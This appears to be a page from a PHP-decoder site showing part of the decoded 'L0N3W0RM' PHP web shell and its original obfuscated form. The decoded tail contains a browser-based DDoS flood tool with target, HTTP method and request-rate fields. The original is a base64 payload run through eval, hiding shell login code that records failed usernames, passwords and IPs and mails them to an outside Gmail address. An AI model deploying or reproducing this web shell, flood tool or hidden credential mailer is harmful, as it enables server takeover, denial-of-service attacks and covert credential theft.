xhrx.onreadystatechange=function(){
if(xhrx.readyState==XMLHttpRequest.DONE){
if(xhrx.status>=500){
onSuccess();
}
onProcess();
}
onRequest();
}
xhttp=xhrx;
attack=function(){
str="";arr=new Uint32Array(buff);
window.crypto.getRandomValues(arr);
for(var i=0;i<arr.length;i++){
str+=String.fromCharCode(arr[i]);
}return str;}
what=attack();
for(var j=0;j<size.value;j++){
data.append(what, stamp.value);}
xhrx.send(data);
};
var onRequest=function(){
requests++;
requestsNode.innerHTML=requests;
};
var onProcess=function(){
proccess++;
proccessNode.innerHTML=proccess;
};
var onSuccess=function(){
success++;
successNode.innerHTML=success;
};
attack.onclick=function(){
var today=new Date();
var h=today.getHours();
var m=today.getMinutes();
var s=today.getSeconds();
m=m<10?"0"+m:m;
s=s<10?"0"+s:s;
if(this.value==\'Start\'){
this.value="Stop";
requests=0;
succeeded=0;
proccess=0;
document.getElementById("start").innerHTML="00:00:00";
document.getElementById("finish").innerHTML="00:00:00";
interval=setInterval(makeHttpRequest,(parseInt(time.value)));
document.getElementById("start").innerHTML=h+":"+m+":"+s;
}else if(this.value==\'Stop\'){
this.value="Start";
xhttp.abort();
clearInterval(interval);
document.getElementById("finish").innerHTML=h+":"+m+":"+s;
}
};
function startTime(){
var today=new Date();
var h=today.getHours();
var m=today.getMinutes();
var s=today.getSeconds();
m=m<10?"0"+m:m;
s=s<10?"0"+s:s;
document.getElementById("times").innerHTML=h+":"+m+":"+s;
var t=setTimeout(startTime,500);
}
}
</script>
<form onsubmit="return false;" class="new">
<label>Target</label><input type="text" id="target" value="http://www.target.com"><br>
<label>Stamp</label><input type="text" id="stamp" value="DDOS ATTACK !!!"><br>
<label>Method</label><select id="method">
<option value="PUT">PUT</option>
<option value="GET">GET</option>
<option value="POST">POST</option>
<option value="HEAD">HEAD</option>
<option value="TRACE">TRACE</option>
<option value="PATCH">PATCH</option>
<option value="OPTIONS">GET</option>
<option value="DELETE">DELETE</option>
<option value="CONNECT">CONNECT</option>
<option value="OPTIONS">OPTIONS</option>
</select><br>
<label>Size (kB)</label><input type="number" id="size" value="1024"><br>
<label>Time (ms)</label><input type="number" id="time" value="500"><br>
<label>Options</label>
<input type="checkbox" id="uagent" name="uagent" style="vertical-align:middle"> User Agent
<input type="checkbox" id="referer" name="referer" style="vertical-align:middle"> Referer Target
<input type="checkbox" id="origin" name="origin" style="vertical-align:middle"> Origin<br>
<label style="margin:5px 0px 5px">
Time <span id="times">00:00:00</span> |
Start <span id="start">00:00:00</span> |
Finish <span id="finish">00:00:00</span>
</label><br>
<label style="margin:0px 0px 5px">
Requests <span id="requests">0</span> |
Proccess <span id="proccess">0</span> |
Success <span id="success">0</span>
</label><br>
<input type="submit" id="attack" value="Start"/>
</form>');
}
print "</div>";
}
/* END CUSTOM TOOLZ */
printf("</div><!-- content -->
</div><!-- container -->
<div id='footer'>
<div id='copyrights'><a href='//github.com/k4mpr3t/b4tm4n'>L0N3W0RM</a> © %s</div>
<div id='pageload'>Page Loaded in %s Seconds</div>
</div>
</body>
</html>",date('Y'),round((microtime(true)-$start),2)
);
}?>
Did this file decode correctly?
Original Code
<?php
$c="BDg8:9468351e2f83599228add67f059c39a2c361da06";$pdyr="b"."as"."e6"."4_"."d"."ec"."o"."de";@eval($pdyr("Cg0KLyoNCiAqIFNlbGYgU2NyaXB0IEVuY3J5cHRvciB2MS4wDQogKiBbVXNhZ2VdIGh0dHA6Ly93ZWJzaXRlLmNvbS9zaGVsbC5waHA/eD1zZWxmLWVuY3J5cHRvciZuYW1lPXNoZWxsX2VuY3J5cHQucGhwDQogKi8NCg0KJGNvbmZpZz1hcnJheSgNCgkidGl0bGUiICAgICA9PiAiTDBOM1cwUk0gU0gzTEwiLCAgICAgICAgICAgICAgICAgLy8gWW91ciBUaXRsZQ0KCSJzdWJ0aXRsZSIgID0+ICJWM1JTMTBOIDEuMCB+IEwwTjNXMFJNIiwgICAgICAgIC8vIFlvdXIgU3VidGl0bGUNCgkidGhlbWVzIiAgICA9PiAiRDRSSyIsICAgICAgICAgICAgICAgICAgICAgICAgLy8gWW91ciBUaGVtZXMgKEQ0Uksgb3IgQlIzNEspDQoJImRlYnVnIiAgICAgPT4gZmFsc2UgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBEZWJ1ZyBNb2RlDQopOw0KDQokYWNjb3VudD1leHBsb2RlKCc6JywkYyk7DQoNCnNlc3Npb25fc3RhcnQoKTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gU2Vzc2lvbiBTdGFydA0KDQpmdW5jdGlvbiBhbnkoJHgsJHkpDQp7DQoJcmV0dXJuIGFycmF5X2tleV9leGlzdHMoJHgsJHkpOw0KfQ0KDQpmdW5jdGlvbiB1cmxlKCR4KQ0Kew0KCXJldHVybiBCNjRFKHVybGVuY29kZSgkeCkpOw0KfQ0KDQpmdW5jdGlvbiB1cmxkKCR4KQ0Kew0KCXJldHVybiB1cmxkZWNvZGUoQjY0RCh1cmxkZWNvZGUoJHgpKSk7DQp9DQoNCmRlZmluZSgnXycsRElSRUNUT1JZX1NFUEFSQVRPUik7DQoNCmZvcmVhY2goJF9TRVJWRVIgYXMgJGsgPT4gJHYpDQp7DQoJZGVmaW5lKHN0cnRvbG93ZXIoJGspLCRfU0VSVkVSWyRrXSk7DQp9DQoNCmZ1bmN0aW9uIEI2NEUoJHgpDQp7DQoJJGQ9IkFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8iOw0KCSRjPSJaWVhXVlVUU1JRUE9OTUxLSklIR0ZFRENCQXp5eHd2dXRzcnFwb25tbGtqaWhnZmVkY2JhOTg3NjU0MzIxMCsvIjsNCgkkX2E9ImIiOyRfYj0iYSI7JF9jPSJzIjskX2Q9ImUiOyRfZT0iNiI7JF9mPSI0IjsNCgkkX2c9Il8iOyRfaD0iZSI7JF9pPSJuIjskX2o9ImMiOyRfaz0ibyI7JF9sPSJkIjskX209ImUiOw0KCSRiNjQ9JF9hLiRfYi4kX2MuJF9kLiRfZS4kX2YuJF9nLiRfaC4kX2kuJF9qLiRfay4kX2wuJF9tOw0KCXJldHVybiBzdHJ0cigkYjY0KCR4KSwkZCwkYyk7DQp9DQoNCmZ1bmN0aW9uIEI2NEQoJHgpDQp7DQoJJGQ9IkFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8iOw0KCSRjPSJaWVhXVlVUU1JRUE9OTUxLSklIR0ZFRENCQXp5eHd2dXRzcnFwb25tbGtqaWhnZmVkY2JhOTg3NjU0MzIxMCsvIjsNCgkkX2E9ImIiOyRfYj0iYSI7JF9jPSJzIjskX2Q9ImUiOyRfZT0iNiI7JF9mPSI0IjsNCgkkX2c9Il8iOyRfaD0iZCI7JF9pPSJlIjskX2o9ImMiOyRfaz0ibyI7JF9sPSJkIjskX209ImUiOw0KCSRiNjQ9JF9hLiRfYi4kX2MuJF9kLiRfZS4kX2YuJF9nLiRfaC4kX2kuJF9qLiRfay4kX2wuJF9tOw0KCXJldHVybiAkYjY0KHN0cnRyKCR4LCRkLCRjKSk7DQp9DQoNCmZ1bmN0aW9uIGVycm9yICgkZXJybm8sICRlcnJzdHIsICRlcnJmaWxlLCAkZXJybGluZSkNCnsNCglzd2l0Y2ggKCRlcnJubykNCgl7DQoJCWNhc2UgRV9QQVJTRToNCgkJY2FzZSBFX1NUUklDVDokZXJybXNnPScjIERFQlVHJzticmVhazsNCgkJY2FzZSBFX05PVElDRToNCgkJY2FzZSBFX1VTRVJfTk9USUNFOiRlcnJtc2c9JyMgTk9USUNFJzticmVhazsNCgkJY2FzZSBFX1VTRVJfRVJST1I6DQoJCWNhc2UgRV9SRUNPVkVSQUJMRV9FUlJPUjokZXJybXNnPScjIEVSUk9SJzticmVhazsNCgkJY2FzZSBFX1dBUk5JTkc6DQoJCWNhc2UgRV9DT1JFX1dBUk5JTkc6DQoJCWNhc2UgRV9DT01QSUxFX1dBUk5JTkc6DQoJCWNhc2UgRV9VU0VSX1dBUk5JTkc6JGVycm1zZz0nIyBXQVJOSU5HJzticmVhazsNCgkJY2FzZSBFX0VSUk9SOg0KCQljYXNlIEVfQ09SRV9FUlJPUjoNCgkJY2FzZSBFX0NPTVBJTEVfRVJST1I6JGVycm1zZz0nIyBGQVRBTCBFUlJPUic7YnJlYWs7DQoJCWRlZmF1bHQ6JGVycm1zZz0nIyBVTktOT1dOIEVSUk9SJzticmVhazsNCgl9DQoJZWNobyAnPGRpdiBjbGFzcz0iZXJyb3IiPic7DQoJZWNobyAkZXJybXNnOw0KCWVjaG8gIjxicj4iOw0KCWVjaG8gJGVycnN0cjsNCgllY2hvICI8YnI+IjsNCgllY2hvICRlcnJmaWxlIC4gJyAoTGluZTogJyAuICRlcnJsaW5lIC4gJyknOw0KCWVjaG8gIjxicj4iOw0KCWVjaG8gIjxicj4iOw0KCWVjaG8gIjwvZGl2PiI7DQp9DQoNCi8vIExvZ2luIFJlcXVlc3QNCmlmKHJlcXVlc3RfbWV0aG9kPT0iUE9TVCIpDQp7DQoJaWYoYW55KCJ1c2VybmFtZSIsJF9SRVFVRVNUKSYmYW55KCJwYXNzd29yZCIsJF9SRVFVRVNUKSYmYW55KCJzaWduaW4iLCRfUkVRVUVTVCkpDQoJew0KCQlpZigoQjY0RSgkX1JFUVVFU1RbJ3VzZXJuYW1lJ10pPT0kYWNjb3VudFswXSkmJihzaGExKG1kNSgkX1JFUVVFU1RbJ3Bhc3N3b3JkJ10pKT09JGFjY291bnRbMV0pKQ0KCQl7DQoJCQlzZXNzaW9uX3JlZ2VuZXJhdGVfaWQoKTsNCgkJCSRfU0VTU0lPTlsnYWN0aW9uJ109YXJyYXkoDQoJCQkJInVzZXJuYW1lIiA9PiBCNjRFKCRfUkVRVUVTVFsndXNlcm5hbWUnXSksDQoJCQkJInBhc3N3b3JkIiA9PiBzaGExKG1kNSgkX1JFUVVFU1RbJ3Bhc3N3b3JkJ10pKQ0KCQkJKTsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCS8vIFRISVMgSVMgRlVDS0lORyBMT0NBTCBEQU1OIExPRyBOMDBCISAoaHR0cHM6Ly9naXRodWIuY29tL2s0bXByM3QvYjR0bTRuL2lzc3Vlcy81KQ0KCQkJJGxvZz1hcnJheSgNCgkJCQkiVXNlcm5hbWU6ICIuJF9SRVFVRVNUWyd1c2VybmFtZSddLA0KCQkJCSJQYXNzd29yZDogIi4kX1JFUVVFU1RbJ3Bhc3N3b3JkJ10sDQoJCQkJIlJlbW90ZSBJUDogIi5yZW1vdGVfYWRkciwNCgkJCQkiVGltZTogIi5kYXRlKCdZLW0tZCBIOmk6cycpLA0KCQkJCSItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcbiIsDQoJCQkpOw0KCQkJJGZpbGU9ZGlybmFtZShfX0ZJTEVfXykuXy4nLmxvZyc7DQoJCQkkd3JpdGVfbG9nPWltcGxvZGUoJGxvZywiXHJcbiIpOw0KCQkJJG9wPWZvcGVuKCRmaWxlLCdhKycpOw0KCQkJZndyaXRlKCRvcCwkd3JpdGVfbG9nKTsNCgkJCWZjbG9zZSgkb3ApOw0KICAgICAgICAgICAgJGlwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107DQogICAgICAgICAgICAkaW5mbyA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXSAuICcvJyAuICRfU0VSVkVSWydQSFBfU0VMRiddOw0KICAgICAgICAgICAgJG1zZyA9ICJIb3N0OiAkaW5mbyB8IGlkOiAkd3JpdGVfbG9nIjsNCiAgICAgICAgICAgIG1haWwoImJhY290YWttai52QGdtYWlsLmNvbSIsICJMb2cgU2hlbEw6ICRpcCIsICRtc2cpOw0KCQl9DQoJfQ0KfQ0KDQppZighYW55KCJhY3Rpb24iLCRfU0VTU0lPTikpDQp7DQo/PjwhZG9jdHlwZSBodG1sPg0KPGh0bWwgbGFuZz0iZW4iPg0KPGhlYWQ+DQo8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+DQo8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vaW5kZXgiLz4NCjxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsaW5pdGlhbC1zY2FsZT0xLHNocmluay10by1maXQ9bm8iPg0KPHRpdGxlPlNpZ24gaW48L3RpdGxlPg0KPGxpbmsgaHJlZj0iaHR0cHM6Ly9tYXhjZG4uYm9vdHN0cmFwY2RuLmNvbS9ib290c3RyYXAvNC4wLjAvY3NzL2Jvb3RzdHJhcC5taW4uY3NzIiByZWw9InN0eWxlc2hlZXQiIGlkPSJib290c3RyYXAtY3NzIj4NCjxzdHlsZSB0eXBlPSd0ZXh0L2Nzcyc+DQoJaHRtbCxib2R5ew0KCWhlaWdodDoxMDAlOw0KCX0NCglib2R5ew0KCWJhY2tncm91bmQtaW1hZ2U6dXJsKGh0dHBzOi8vdy53YWxsaGF2ZW4uY2MvZnVsbC8wdy93YWxsaGF2ZW4tMHdlbWc2LmpwZyApOw0KCWRpc3BsYXk6LW1zLWZsZXhib3g7DQoJZGlzcGxheTotd2Via2l0LWJveDsNCglkaXNwbGF5OmZsZXg7DQoJLW1zLWZsZXgtYWxpZ246Y2VudGVyOw0KCS1tcy1mbGV4LXBhY2s6Y2VudGVyOw0KCS13ZWJraXQtYm94LWFsaWduOmNlbnRlcjsNCglhbGlnbi1pdGVtczpjZW50ZXI7DQoJLXdlYmtpdC1ib3gtcGFjazpjZW50ZXI7DQoJanVzdGlmeS1jb250ZW50OmNlbnRlcjsNCglwYWRkaW5nLXRvcDo0MHB4Ow0KCXBhZGRpbmctYm90dG9tOjQwcHg7DQoJYmFja2dyb3VuZC1jb2xvcjojZjVmNWY1Ow0KCX0NCgkuZm9ybS1zaWduaW57DQoJd2lkdGg6MTAwJTsNCgltYXgtd2lkdGg6MzMwcHg7DQoJcGFkZGluZzoxNXB4Ow0KCW1hcmdpbjowIGF1dG87DQoJfQ0KCS5mb3JtLXNpZ25pbi5jaGVja2JveHsNCglmb250LXdlaWdodDo0MDA7DQoJfQ0KCS5mb3JtLXNpZ25pbi5mb3JtLWNvbnRyb2x7DQoJcG9zaXRpb246cmVsYXRpdmU7DQoJYm94LXNpemluZzpib3JkZXItYm94Ow0KCWhlaWdodDphdXRvOw0KCXBhZGRpbmc6MTBweDsNCglmb250LXNpemU6MTZweDsNCgl9DQoJLmZvcm0tc2lnbmluLmZvcm0tY29udHJvbDpmb2N1c3sNCgl6LWluZGV4OjI7DQoJfQ0KCS5mb3JtLXNpZ25pbiBpbnB1dFt0eXBlPSJlbWFpbCJdew0KCW1hcmdpbi1ib3R0b206LTFweDsNCglib3JkZXItYm90dG9tLXJpZ2h0LXJhZGl1czowOw0KCWJvcmRlci1ib3R0b20tbGVmdC1yYWRpdXM6MDsNCgl9DQoJLmZvcm0tc2lnbmluIGlucHV0W3R5cGU9InBhc3N3b3JkIl17DQoJbWFyZ2luLWJvdHRvbToxMHB4Ow0KCWJvcmRlci10b3AtbGVmdC1yYWRpdXM6MDsNCglib3JkZXItdG9wLXJpZ2h0LXJhZGl1czowOw0KCX0NCjwvc3R5bGU+DQo8L2hlYWQ+DQo8Ym9keSBjbGFzcz0idGV4dC1jZW50ZXIiPg0KCTxmb3JtIGNsYXNzPSJmb3JtLXNpZ25pbiIgbWV0aG9kPSdwb3N0Jz4NCgkJPGgxIGNsYXNzPSJoMyBtYi0zIGZvbnQtd2VpZ2h0LW5vcm1hbCI+UGxlYXNlIHNpZ24gaW48L2gxPg0KCQk8bGFiZWwgZm9yPSJ1c2VybmFtZSIgY2xhc3M9InNyLW9ubHkiPkVtYWlsIGFkZHJlc3M8L2xhYmVsPg0KCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idXNlcm5hbWUiIGlkPSJ1c2VybmFtZSIgY2xhc3M9ImZvcm0tY29udHJvbCIgcGxhY2Vob2xkZXI9IlVzZXJuYW1lIiBhdXRvY29tcGxldGU9Im9mZiIgcmVxdWlyZWQgYXV0b2ZvY3VzPg0KCQk8bGFiZWwgZm9yPSJwYXNzd29yZCIgY2xhc3M9InNyLW9ubHkiPlBhc3N3b3JkPC9sYWJlbD4NCgkJPGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwYXNzd29yZCIgaWQ9InBhc3N3b3JkIiBjbGFzcz0iZm9ybS1jb250cm9sIiBwbGFjZWhvbGRlcj0iUGFzc3dvcmQiIGF1dG9jb21wbGV0ZT0ib2ZmIiByZXF1aXJlZD4NCgkJPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1sZyBidG4tcHJpbWFyeSBidG4tYmxvY2siIHR5cGU9InN1Ym1pdCIgbmFtZT0ic2lnbmluIiB2YWx1ZT0ic2lnbmluIj5TaWduIEluPC9idXR0b24+DQoJCTxwIGNsYXNzPSJtdC01IG1iLTMgdGV4dC1tdXRlZCI+JmNvcHk7PD89ZGF0ZSgnWScpPz48L3A+DQoJPC9mb3JtPg0KPC9ib2R5Pg0KPC9odG1sPjw/cGhwDQp9DQplbHNlDQp7DQpvYl9zdGFydCgpOyAvLyBQcmV2ZW50IERvdWJsZSBIdG1sICRfUkVRVUVTVA0KDQppZighc3RycG9zKHN0cnZhbChpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpKSwnc2V0X3RpbWVfbGltaXQnKSkNCnsNCglzZXRfdGltZV9saW1pdCgwKTsNCn0NCg0KLy8gRGVidWcgU2V0dGluZ3MNCmlmKCRjb25maWdbJ2RlYnVnJ109PXRydWUpIA0Kew0KCXNldF9lcnJvcl9oYW5kbGVyKCdlcnJvcicpOyAvLyBFcnJvciBIYW5kbGVyDQoJZXJyb3JfcmVwb3J0aW5nKEVfRVJST1IgfCBFX1dBUk5JTkcgfCBFX1BBUlNFIHwgRV9OT1RJQ0UpOw0KfQ0KZWxzZQ0Kew0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpbmlfc2V0KCdlcnJvcl9sb2cnLG51bGwpOw0KCWluaV9zZXQoJ2h0bWxfZXJyb3JzJywwKTsNCglpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsNCglpbmlfc2V0KCdsb2dfZXJyb3JzX21heF9sZW4nLDApOw0KCWluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywwKTsNCglpbmlfc2V0KCdkaXNwbGF5X3N0YXJ0dXBfZXJyb3JzJywwKTsNCn0NCg0KaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywnNjAwJyk7DQppbmlfc2V0KCdtZW1vcnlfbGltaXQnLCcyNTZNJyk7DQoNCiRhZ2VudD1CNjREKCJGVDA2QUNRb0FYWXJ2SFlYTVVJTU1WNWUiKTsgICAvLyBQb3dlcmVkIGJ5IEI0VE00Tg0KJHRpdGxlPSRjb25maWdbJ3RpdGxlJ107ICAgICAgICAgICAgICAgICAgIC8vIFRpdGxlIFBhZ2UNCiRzdGFydD1taWNyb3RpbWUodHJ1ZSk7ICAgICAgICAgICAgICAgICAgICAvLyBUaW1lIFBhZ2Vsb2FkDQoNCj8+PCFET0NUWVBFIGh0bWw+DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPg0KPD89JHRpdGxlPz4NCjwvdGl0bGU+DQo8bWV0YSBuYW1lPSdhdXRob3InIGNvbnRlbnQ9J2s0bXByM3QnLz4NCjxsaW5rIGhyZWY9ImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxBQUFCQUFFQUVCQUNBQUFBQUFDd0FBQUFGZ0FBQUNnQUFBQVFBQUFBSUFBQUFBRUFBUUFBQUFBQVFBQUFBQUFBQUFBQUFBQUFBZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRC8vd0FBLy84QUFQLy9BQUQvL3dBQS8vOEFBUDcvQUFEOGZ3QUF3QWNBQU1BSEFBQ01Zd0FBRFdFQUFQLy9BQUQvL3dBQS8vOEFBUC8vQUFELy93QUEiIHJlbD0iaWNvbiIgdHlwZT0iaW1hZ2UveC1pY29uIiAvPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCg0KCTw/cGhwIGlmKHN0cnRvbG93ZXIoJGNvbmZpZ1sndGhlbWVzJ10pID09ICdkNHJrJyk6ID8+DQoJOnJvb3Qgew0KCQktLWJhY2tncm91bmQtY29sb3I6IzAwMDsgDQoJCS0tY29sb3I6IzAwZmYwMDsNCgkJLS10eHQtY29sb3I6ICNmZmY7DQoJCS0tdHh0LWhvdmVyLWNvbG9yOiAjZmZmOw0KCQktLWJvcmRlci1jb2xvcjogIzIyMjsNCgkJLS1ib3JkZXItaG92ZXItY29sb3I6ICMzMzM7DQoJCS0tdGFibGUtb2RkLWNvbG9yIDogIzAwMDsNCgkJLS10YWJsZS1ldmVuLWNvbG9yIDogIzExMTsNCgkJLS10YWJsZS1ob3Zlci1jb2xvciA6ICMyMjI7DQoJCS0tYnV0dG9uLWNvbG9yIDogIzExMTsNCgkJLS1idXR0b24taG92ZXItY29sb3IgOiAjMjIyOw0KCX0NCgk8P3BocCBlbmRpZjsgPz4NCg0KCTw/cGhwIGlmKHN0cnRvbG93ZXIoJGNvbmZpZ1sndGhlbWVzJ10pID09ICdicjM0aycpOiA/Pg0KCTpyb290IHsNCgkJLS1iYWNrZ3JvdW5kLWNvbG9yOiNmZmY7IA0KCQktLWNvbG9yOiMwMDA7DQoJCS0tdHh0LWNvbG9yOiAjMDAwOw0KCQktLXR4dC1ob3Zlci1jb2xvcjogIzY2NjsNCgkJLS1ib3JkZXItY29sb3I6ICMxMTE7DQoJCS0tYm9yZGVyLWhvdmVyLWNvbG9yOiAjMjIyOw0KCQktLXRhYmxlLW9kZC1jb2xvciA6ICNlZWU7DQoJCS0tdGFibGUtZXZlbi1jb2xvciA6ICNkZGQ7DQoJCS0tdGFibGUtaG92ZXItY29sb3IgOiAjY2NjOw0KCQktLWJ1dHRvbi1jb2xvciA6ICNjY2M7DQoJCS0tYnV0dG9uLWhvdmVyLWNvbG9yIDogI2JiYjsNCgl9DQoJPD9waHAgZW5kaWY7ID8+DQoNCglAa2V5ZnJhbWVzIGJsaW5rZXJ7NzAle29wYWNpdHk6MH19DQoJKixodG1se21hcmdpbjowO3BhZGRpbmc6MDtsaW5lLWhlaWdodDoxcmVtfQ0KCWJvZHl7YmFja2dyb3VuZDp2YXIoLS1iYWNrZ3JvdW5kLWNvbG9yKTtjb2xvcjp2YXIoLS1jb2xvcik7Zm9udC1mYW1pbHk6bW9ub3NwYWNlO2ZvbnQtc2l6ZToxM3B4fQ0KCTo6LW1vei1zZWxlY3Rpb257YmFja2dyb3VuZDp2YXIoLS1jb2xvcik7Y29sb3I6dmFyKC0tYmFja2dyb3VuZC1jb2xvcil9DQoJOjpzZWxlY3Rpb257YmFja2dyb3VuZDp2YXIoLS1jb2xvcik7Y29sb3I6dmFyKC0tYmFja2dyb3VuZC1jb2xvcil9DQoJaW1ne3ZlcnRpY2FsLWFsaWduOmJvdHRvbX0NCglocntib3JkZXI6MXB4IHNvbGlkIHZhcigtLWJvcmRlci1jb2xvcik7bWFyZ2luOjNweCAwcHggMHB4fQ0KCWF7Y29sb3I6dmFyKC0tY29sb3IpO3RleHQtZGVjb3JhdGlvbjpub25lfQ0KCWE6aG92ZXJ7Y29sb3I6dmFyKC0tdHh0LWhvdmVyLWNvbG9yKX0NCglhLmFjdGl2ZXtjb2xvcjp2YXIoLS10eHQtY29sb3IpfQ0KCWEuYWN0aW9ue2ZvbnQtc2l6ZToxMnB4O3BhZGRpbmc6NXB4O21hcmdpbjowcHg7YmFja2dyb3VuZDp2YXIoLS1idXR0b24tY29sb3IpO2NvbG9yOnZhcigtLXR4dC1jb2xvcik7Ym9yZGVyOjFweCBzb2xpZCAjMjIyO2N1cnNvcjpwb2ludGVyO291dGxpbmU6bm9uZTtkaXNwbGF5OmlubGluZS1ibG9ja30NCglhLmFjdGlvbjpob3ZlcntiYWNrZ3JvdW5kOnZhcigtLWJ1dHRvbi1ob3Zlci1jb2xvcik7Ym9yZGVyOjFweCBzb2xpZCB2YXIoLS1ib3JkZXItaG92ZXItY29sb3IpfQ0KCWxhYmVse2Rpc3BsYXk6aW5saW5lLWJsb2NrO21pbi13aWR0aDo3NXB4O3BhZGRpbmctcmlnaHQ6MTVweH0NCglpZnJhbWV7YmFja2dyb3VuZDp2YXIoLS10eHQtaG92ZXItY29sb3IpfQ0KCWZpZWxkc2V0IHtib3JkZXI6MXB4IHNvbGlkIHZhcigtLWJvcmRlci1jb2xvcik7YmFja2dyb3VuZDp2YXIoLS1iYWNrZ3JvdW5kLWNvbG9yKTtjb2xvcjp2YXIoLS1jb2xvcik7d2lkdGg6MTAwJTtwYWRkaW5nOjE1cHg7Ym94LXNpemluZzpib3JkZXItYm94O21pbi1oZWlnaHQ6MTU0cHh9DQoJdGV4dGFyZWEge2JvcmRlcjoxcHggc29saWQgdmFyKC0tYm9yZGVyLWNvbG9yKTtiYWNrZ3JvdW5kOnZhcigtLWJhY2tncm91bmQtY29sb3IpO2NvbG9yOnZhcigtLWNvbG9yKTt3aWR0aDoxMDAlO3BhZGRpbmc6MTVweDttaW4taGVpZ2h0OjMwMHB4O291dGxpbmU6bm9uZTtib3gtc2l6aW5nOmJvcmRlci1ib3g7cmVzaXplOm5vbmV9DQoJaW5wdXRbdHlwZT1zdWJtaXRde2JhY2tncm91bmQ6dmFyKC0tYnV0dG9uLWNvbG9yKTtib3JkZXI6MXB4IHNvbGlkIHZhcigtLWJvcmRlci1jb2xvcik7Y29sb3I6dmFyKC0tdHh0LWNvbG9yKTtsaW5lLWhlaWdodDoyNXB4O3BhZGRpbmc6MCAxMHB4O2N1cnNvcjpwb2ludGVyO291dGxpbmU6bm9uZX0NCglpbnB1dFt0eXBlPXN1Ym1pdF06aG92ZXJ7YmFja2dyb3VuZDp2YXIoLS1idXR0b24taG92ZXItY29sb3IpO2JvcmRlcjoxcHggc29saWQgdmFyKC0tYm9yZGVyLWhvdmVyLWNvbG9yKX0NCglpbnB1dFt0eXBlPXRleHRde2JhY2tncm91bmQ6dmFyKC0tYmFja2dyb3VuZC1jb2xvcik7bGluZS1oZWlnaHQ6IDE1cHg7Y29sb3I6dmFyKC0tY29sb3IpO2JvcmRlcjoxcHggc29saWQgdmFyKC0tYm9yZGVyLWNvbG9yKTt3aWR0aDoyMDBweDtwYWRkaW5nOjVweDtvdXRsaW5lOm5vbmU7Ym94LXNpemluZzpib3JkZXItYm94fQ0KCWlucHV0W3R5cGU9bnVtYmVyXXtiYWNrZ3JvdW5kOnZhcigtLWJhY2tncm91bmQtY29sb3IpO2xpbmUtaGVpZ2h0OiAxNXB4O2NvbG9yOnZhcigtLWNvbG9yKTtib3JkZXI6MXB4IHNvbGlkIHZhcigtLWJvcmRlci1jb2xvcik7d2lkdGg6MjAwcHg7cGFkZGluZzo1cHg7b3V0bGluZTpub25lO2JveC1zaXppbmc6Ym9yZGVyLWJveH0NCglpbnB1dFt0eXBlPWZpbGVde2JhY2tncm91bmQ6dmFyKC0tYmFja2dyb3VuZC1jb2xvcik7bGluZS1oZWlnaHQ6IDE1cHg7Y29sb3I6dmFyKC0tY29sb3IpO2JvcmRlcjoxcHggc29saWQgdmFyKC0tYm9yZGVyLWNvbG9yKTt3aWR0aDoyMDBweDtwYWRkaW5nOjJweDtvdXRsaW5lOm5vbmU7Ym94LXNpemluZzpib3JkZXItYm94fQ0KCXNlbGVjdHtiYWNrZ3JvdW5kOnZhcigtLWJhY2tncm91bmQtY29sb3IpO2NvbG9yOnZhcigtLWNvbG9yKTtib3JkZXI6MXB4IHNvbGlkIHZhcigtLWJvcmRlci1jb2xvcik7d2lkdGg6MjAwcHg7cGFkZGluZzo1cHg7b3V0bGluZTpub25lO2JveC1zaXppbmc6Ym9yZGVyLWJveH0NCgkjd3JhcHBlcnt3aWR0aDo5MyU7bWFyZ2luOjM3cHggYXV0byA0MHB4fQ0KCSNpbmZve21hcmdpbjowIDAgMjNweCAwO3BhZGRpbmc6MCAxM3B4IDAgMH0NCgkjaGVhZGVye2Rpc3BsYXk6aW5saW5lLWJsb2NrO3dpZHRoOjEwMCV9DQoJLmhlYWRlci1sZWZ0e2Zsb2F0OmxlZnQ7d2lkdGg6NjYlfQ0KCS5oZWFkZXItcmlnaHR7ZmxvYXQ6cmlnaHQ7d2lkdGg6MzQlfQ0KCSNjb25uZWN0e2Rpc3BsYXk6aW5saW5lLWJsb2NrO3dpZHRoOjEwMCV9DQoJLmNvbm5lY3QtbGVmdHtmbG9hdDpsZWZ0O3dpZHRoOjQ5JX0NCgkuY29ubmVjdC1yaWdodHtmbG9hdDpyaWdodDt3aWR0aDo0OSV9DQoJI2RhdGFiYXNlLXNlc3Npb257ZGlzcGxheTppbmxpbmUtYmxvY2s7d2lkdGg6MTAwJX0NCgkuZGF0YWJhc2UtcXVlcnl7ZmxvYXQ6bGVmdDt3aWR0aDo0OSV9DQoJLmRhdGFiYXNlLXByb2Nlc3N7ZmxvYXQ6cmlnaHQ7d2lkdGg6NDklfQ0KCSNwaHB7ZGlzcGxheTppbmxpbmUtYmxvY2t9DQoJLnBocC1sZWZ0e2Zsb2F0OmxlZnQ7d2lkdGg6NDklfQ0KCS5waHAtcmlnaHR7ZmxvYXQ6